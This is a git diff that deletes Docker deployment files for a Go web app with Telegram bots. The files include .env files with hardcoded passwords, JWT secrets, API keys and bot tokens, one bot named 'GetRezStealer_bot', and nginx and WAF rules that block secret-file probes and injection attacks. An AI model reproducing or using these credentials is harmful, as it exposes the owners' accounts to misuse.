chore: delete docker
This commit is contained in:
@@ -1,26 +0,0 @@
|
||||
DB_HOST=postgres
|
||||
DB_PORT=5432
|
||||
DB_USER=postgres
|
||||
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
|
||||
DB_NAME=gestion_db
|
||||
DB_SSLMODE=disable
|
||||
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
||||
USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
|
||||
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
||||
REDIS_HOST=redis
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
|
||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
||||
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
||||
TELEGRAM_BOT_USERNAME=rezsssnfdsjfdsfbot
|
||||
TELEGRAM_WEBHOOK_SECRET=vGB8n5H2fJTUx6jy6iYgYlqLz1mfSv9htF
|
||||
TELEGRAM_WEBHOOK_URL=https://uber-demo.club/webhook/telegram
|
||||
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
|
||||
LBTELEGRAM_URL=http://lbtelegram:8081
|
||||
LBTELEGRAM_BOT1_USERNAME=GetRezStealer_bot
|
||||
LBTELEGRAM_BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
||||
BACKEND_LINK_SECRET=change_me_internal_secret
|
||||
API_PORT=8080
|
||||
FRONTEND_PORT=5173
|
||||
GIN_MODE=release
|
||||
@@ -1,30 +0,0 @@
|
||||
# Gateway
|
||||
PORT=8081
|
||||
ENV=production
|
||||
BOT_COUNT=2
|
||||
|
||||
# Bots Telegram
|
||||
BOT1_TOKEN=8336841145:AAHPfHdgqLctEC_Zet5mT8D7ZXiwp8BQ1io
|
||||
BOT1_USERNAME=GetRezStealer_bot
|
||||
BOT1_WEBHOOK_SECRET=cVxqtea9s078ozDSlX57MWe6bjoLAK3ra7Zq
|
||||
|
||||
BOT2_TOKEN=8325503969:AAGffm9Q-oYr5ySf8cR4Wr-e2CA2p_xOrbg
|
||||
BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
||||
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
|
||||
|
||||
# URL publique de la gateway (pour setWebhook Telegram)
|
||||
GATEWAY_URL=https://demo-uber.club
|
||||
|
||||
# JWT
|
||||
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
|
||||
JWT_TTL_SECONDS=300
|
||||
|
||||
# Load balancer: roundrobin | leastconn | failover
|
||||
LB_STRATEGY=failover
|
||||
|
||||
# Health check interval en secondes
|
||||
HEALTH_CHECK_INTERVAL=30
|
||||
|
||||
# URL interne du backend pour valider les tokens de liaison
|
||||
BACKEND_LINK_URL=http://backend:8080/api/internal/telegram/link
|
||||
BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ
|
||||
@@ -1,76 +0,0 @@
|
||||
FROM golang:1.24-alpine AS builder
|
||||
WORKDIR /app
|
||||
|
||||
# Installer les dépendances système
|
||||
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
|
||||
|
||||
# Copier go mod files
|
||||
COPY backend/gestion/go.mod backend/gestion/go.sum ./
|
||||
|
||||
# Configurer Go et télécharger les dépendances
|
||||
ENV GOPROXY=https://proxy.golang.org,direct
|
||||
ENV GOSUMDB=sum.golang.org
|
||||
ENV CGO_ENABLED=0
|
||||
|
||||
# Télécharger les dépendances
|
||||
RUN go mod download
|
||||
|
||||
# Copier tout le code source
|
||||
COPY backend/gestion/ .
|
||||
|
||||
# Build le binaire
|
||||
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
|
||||
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
-o /app/server .
|
||||
|
||||
# =========================================================
|
||||
# Stage 2: Runtime
|
||||
# =========================================================
|
||||
FROM alpine:latest AS runtime
|
||||
|
||||
# Installer les dépendances runtime
|
||||
RUN apk --no-cache add ca-certificates tzdata wget
|
||||
|
||||
# Créer l'utilisateur avec UID/GID fixes
|
||||
RUN addgroup -g 101 app && adduser -u 101 -S app -G app
|
||||
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copier le binaire et les fichiers nécessaires
|
||||
COPY --from=builder /app/server .
|
||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||
|
||||
# Copier l'entrypoint
|
||||
COPY docker/backend/entrypoint.sh .
|
||||
RUN chmod +x entrypoint.sh
|
||||
|
||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||
chown -R app:app /app
|
||||
|
||||
# Passer à l'utilisateur non-root
|
||||
USER app
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT ["./entrypoint.sh"]
|
||||
|
||||
# =========================================================
|
||||
# Stage 3: WAF (Nginx + ModSecurity)
|
||||
# =========================================================
|
||||
FROM owasp/modsecurity-crs:nginx-alpine AS waf
|
||||
|
||||
# Toutes les opérations privilégiées en root
|
||||
USER root
|
||||
|
||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
||||
|
||||
COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||
|
||||
USER nginx
|
||||
EXPOSE 80 443
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
@@ -1,77 +0,0 @@
|
||||
# Exclure le corps des requêtes/réponses de l'audit log pour garder les lignes < 6KB (limite Wazuh)
|
||||
SecAuditLogParts ABIFHZ
|
||||
|
||||
SecRuleRemoveById 932235
|
||||
SecRuleRemoveById 911100
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
||||
"id:399002,phase:2,nolog,pass,\
|
||||
ctl:ruleRemoveById=920120,\
|
||||
ctl:ruleRemoveById=920121"
|
||||
|
||||
SecRule REQUEST_URI "@beginsWith /uploads/" \
|
||||
"id:1000,\
|
||||
phase:1,\
|
||||
pass,\
|
||||
nolog,\
|
||||
ctl:ruleEngine=Off"
|
||||
|
||||
SecRule IP:BANNED "@eq 1" \
|
||||
"id:100000,phase:1,deny,status:403,log,\
|
||||
msg:'IP is banned'"
|
||||
|
||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
||||
"id:100099,phase:1,deny,status:403,log,\
|
||||
msg:'Critical reputation score',\
|
||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
||||
|
||||
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
|
||||
"id:100001,phase:2,deny,status:403,log,\
|
||||
msg:'SQL Injection detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:XSS_SCORE "@ge 5" \
|
||||
"id:100010,phase:2,deny,status:403,log,\
|
||||
msg:'XSS detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:RCE_SCORE "@ge 5" \
|
||||
"id:100020,phase:2,deny,status:403,log,\
|
||||
msg:'RCE detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
|
||||
|
||||
SecRule TX:LFI_SCORE "@ge 5" \
|
||||
"id:100030,phase:2,deny,status:403,log,\
|
||||
msg:'LFI detected',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
|
||||
"id:100060,phase:2,deny,status:403,log,\
|
||||
msg:'Critical anomaly score',\
|
||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
|
||||
"id:399010,phase:1,nolog,pass,\
|
||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
|
||||
"id:399011,phase:1,nolog,pass,\
|
||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
||||
|
||||
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
||||
"id:399001,phase:2,nolog,pass,\
|
||||
ctl:ruleRemoveById=932235"
|
||||
|
||||
SecAction \
|
||||
"id:400161,phase:1,nolog,pass,\
|
||||
setvar:'ip.request_window_1sec=+1',\
|
||||
expirevar:'ip.request_window_1sec=1'"
|
||||
|
||||
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
|
||||
"id:400160,phase:1,deny,status:429,log,\
|
||||
msg:'Too many requests'"
|
||||
|
||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
||||
"id:409999,phase:1,deny,status:403,log,\
|
||||
msg:'Critical reputation score',\
|
||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
||||
@@ -1,16 +0,0 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
|
||||
# Puis créer les sous-dossiers
|
||||
if [ ! -d "/app/uploads" ]; then
|
||||
mkdir -p /app/uploads
|
||||
fi
|
||||
|
||||
# Créer les sous-répertoires
|
||||
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
|
||||
|
||||
echo "✅ Répertoires uploads prêts"
|
||||
|
||||
# Lancer l'application
|
||||
exec ./server
|
||||
@@ -1,215 +0,0 @@
|
||||
# =========================================================
|
||||
# Request ID correlation
|
||||
# =========================================================
|
||||
map $http_x_request_id $req_id {
|
||||
default $http_x_request_id;
|
||||
"" $request_id;
|
||||
}
|
||||
|
||||
# =========================================================
|
||||
# HTTP → HTTPS redirect
|
||||
# =========================================================
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name _;
|
||||
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
# =========================================================
|
||||
# HTTPS — Hardened
|
||||
# =========================================================
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
http2 on;
|
||||
server_name _;
|
||||
|
||||
server_tokens off;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# TLS
|
||||
# ---------------------------------------------------
|
||||
ssl_certificate /etc/nginx/certs/fullchain.pem;
|
||||
ssl_certificate_key /etc/nginx/certs/privkey.pem;
|
||||
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256;
|
||||
ssl_prefer_server_ciphers off;
|
||||
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_tickets off;
|
||||
|
||||
ssl_stapling on;
|
||||
ssl_stapling_verify on;
|
||||
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
|
||||
resolver 127.0.0.11 valid=10s ipv6=off;
|
||||
resolver_timeout 5s;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# En-têtes de sécurité
|
||||
# ---------------------------------------------------
|
||||
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "0" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Limites et timeouts
|
||||
# ---------------------------------------------------
|
||||
client_max_body_size 100M;
|
||||
client_body_buffer_size 128k;
|
||||
client_header_buffer_size 1k;
|
||||
large_client_header_buffers 4 8k;
|
||||
|
||||
client_body_timeout 30s;
|
||||
client_header_timeout 30s;
|
||||
send_timeout 30s;
|
||||
keepalive_timeout 65s;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Gzip (statique uniquement — évite BREACH sur l'API)
|
||||
# ---------------------------------------------------
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_proxied any;
|
||||
gzip_comp_level 5;
|
||||
gzip_min_length 1000;
|
||||
gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# ModSecurity WAF
|
||||
# ---------------------------------------------------
|
||||
modsecurity on;
|
||||
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
|
||||
|
||||
# ---------------------------------------------------
|
||||
# API backend Go
|
||||
# ---------------------------------------------------
|
||||
location /api/ {
|
||||
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
|
||||
|
||||
if ($request_method = 'OPTIONS') {
|
||||
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
|
||||
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
|
||||
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
|
||||
add_header 'Access-Control-Allow-Credentials' 'true' always;
|
||||
add_header 'Access-Control-Max-Age' 86400 always;
|
||||
add_header 'Content-Length' 0;
|
||||
add_header 'Content-Type' 'text/plain charset=UTF-8';
|
||||
return 204;
|
||||
}
|
||||
|
||||
set $upstream_backend http://backend:8080;
|
||||
proxy_pass $upstream_backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header X-Request-ID $req_id;
|
||||
proxy_hide_header X-Powered-By;
|
||||
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_read_timeout 300s;
|
||||
|
||||
proxy_buffer_size 128k;
|
||||
proxy_buffers 4 256k;
|
||||
proxy_busy_buffers_size 256k;
|
||||
}
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Webhook Telegram principal → backend Go
|
||||
# ---------------------------------------------------
|
||||
location = /webhook/telegram {
|
||||
limit_except POST { deny all; }
|
||||
|
||||
set $upstream_backend http://backend:8080;
|
||||
proxy_pass $upstream_backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
||||
# ---------------------------------------------------
|
||||
location /webhook/ {
|
||||
limit_except POST { deny all; }
|
||||
|
||||
set $upstream_lbtelegram http://lbtelegram:8081;
|
||||
proxy_pass $upstream_lbtelegram;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Fichiers uploadés (images / vidéos)
|
||||
# ---------------------------------------------------
|
||||
location /uploads/ {
|
||||
alias /usr/share/nginx/html/uploads/;
|
||||
expires 7d;
|
||||
add_header Cache-Control "public, no-transform" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
|
||||
location ~* \.(php|pl|py|cgi|sh|rb|exe)$ {
|
||||
deny all;
|
||||
}
|
||||
}
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Frontend React SPA
|
||||
# ---------------------------------------------------
|
||||
location / {
|
||||
set $upstream_frontend http://frontend:80;
|
||||
proxy_pass $upstream_frontend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Blocage fichiers sensibles
|
||||
# ---------------------------------------------------
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
|
||||
location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
|
||||
location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
|
||||
# Bloquer scans WordPress / PHP courants
|
||||
location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
}
|
||||
@@ -1,212 +0,0 @@
|
||||
services:
|
||||
# =========================================================
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
image: xor1234/backend-mln:pre-prod
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DB_HOST=${DB_HOST:-postgres}
|
||||
- DB_PORT=${DB_PORT:-5432}
|
||||
- DB_USER=${DB_USER:-postgres}
|
||||
- DB_PASSWORD=${DB_PASSWORD}
|
||||
- DB_NAME=${DB_NAME:-gestion_db}
|
||||
- DB_SSLMODE=${DB_SSLMODE:-disable}
|
||||
- SESSION_SECRET=${SESSION_SECRET}
|
||||
- USER_JWT_SECRET=${USER_JWT_SECRET}
|
||||
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
|
||||
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
|
||||
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
|
||||
- REDIS_HOST=${REDIS_HOST:-redis}
|
||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
||||
- TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1}
|
||||
- TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2}
|
||||
- TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3}
|
||||
- API_PORT=${API_PORT:-8080}
|
||||
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
|
||||
- TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN}
|
||||
- TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME}
|
||||
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
|
||||
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
|
||||
- LBTELEGRAM_URL=http://lbtelegram:8081
|
||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||
# =========================================================
|
||||
frontend:
|
||||
image: xor1234/frontend-mln:pre-prod
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
- backend
|
||||
|
||||
waf:
|
||||
image: xor1234/backend-mln:waf-pre-prod
|
||||
container_name: gestion-waf
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DISABLE_MODSEC_ENV_SUBST=true
|
||||
- PARANOIA=2
|
||||
- ANOMALY_INBOUND=5
|
||||
- ANOMALY_OUTBOUND=4
|
||||
- MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
volumes:
|
||||
- backend_uploads:/usr/share/nginx/html/uploads:ro
|
||||
- ./certs:/etc/nginx/certs:ro
|
||||
- ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro
|
||||
- ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro
|
||||
- /var/log/waf/nginx:/var/log/nginx
|
||||
- /var/log/waf/modsec:/var/log/modsec
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
- backend
|
||||
- frontend
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# LBTelegram — Gateway Telegram load balancer
|
||||
# =========================================================
|
||||
lbtelegram:
|
||||
image: xor1234/load-balancer-tlg:latest
|
||||
container_name: gestion-lbtelegram
|
||||
restart: unless-stopped
|
||||
env_file: ./.env.lbtelegram
|
||||
environment:
|
||||
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
|
||||
- DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
backend:
|
||||
condition: service_started
|
||||
|
||||
clamav:
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
memory: 1g
|
||||
cpus: 0.5
|
||||
image: clamav/clamav:latest
|
||||
container_name: gestion-clamav
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads:ro
|
||||
- clamav_data:/var/lib/clamav
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test: ["CMD", "clamdcheck.sh"]
|
||||
interval: 60s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 120s
|
||||
|
||||
dozzle-agent:
|
||||
image: amir20/dozzle:latest
|
||||
command: agent
|
||||
volumes:
|
||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
||||
ports:
|
||||
- "7007:7007"
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
gestion-network:
|
||||
driver: bridge
|
||||
internal: false
|
||||
driver_opts:
|
||||
com.docker.network.bridge.name: gestion-br0
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
driver: local
|
||||
redis_data:
|
||||
driver: local
|
||||
backend_uploads:
|
||||
driver: local
|
||||
clamav_data:
|
||||
driver: local
|
||||
@@ -1,212 +0,0 @@
|
||||
services:
|
||||
# =========================================================
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
image: xor1234/backend-mln:latest
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DB_HOST=${DB_HOST:-postgres}
|
||||
- DB_PORT=${DB_PORT:-5432}
|
||||
- DB_USER=${DB_USER:-postgres}
|
||||
- DB_PASSWORD=${DB_PASSWORD}
|
||||
- DB_NAME=${DB_NAME:-gestion_db}
|
||||
- DB_SSLMODE=${DB_SSLMODE:-disable}
|
||||
- SESSION_SECRET=${SESSION_SECRET}
|
||||
- USER_JWT_SECRET=${USER_JWT_SECRET}
|
||||
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
|
||||
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
|
||||
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
|
||||
- REDIS_HOST=${REDIS_HOST:-redis}
|
||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
||||
- TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1}
|
||||
- TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2}
|
||||
- TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3}
|
||||
- API_PORT=${API_PORT:-8080}
|
||||
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
|
||||
- TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN}
|
||||
- TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME}
|
||||
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
|
||||
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
|
||||
- LBTELEGRAM_URL=http://lbtelegram:8081
|
||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||
# =========================================================
|
||||
frontend:
|
||||
image: xor1234/frontend-mln:latest
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
- backend
|
||||
|
||||
waf:
|
||||
image: xor1234/backend-mln:waf
|
||||
container_name: gestion-waf
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DISABLE_MODSEC_ENV_SUBST=true
|
||||
- PARANOIA=2
|
||||
- ANOMALY_INBOUND=5
|
||||
- ANOMALY_OUTBOUND=4
|
||||
- MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
volumes:
|
||||
- backend_uploads:/usr/share/nginx/html/uploads:ro
|
||||
- ./certs:/etc/nginx/certs:ro
|
||||
- ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro
|
||||
- ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro
|
||||
- /var/log/waf/nginx:/var/log/nginx
|
||||
- /var/log/waf/modsec:/var/log/modsec
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
- backend
|
||||
- frontend
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
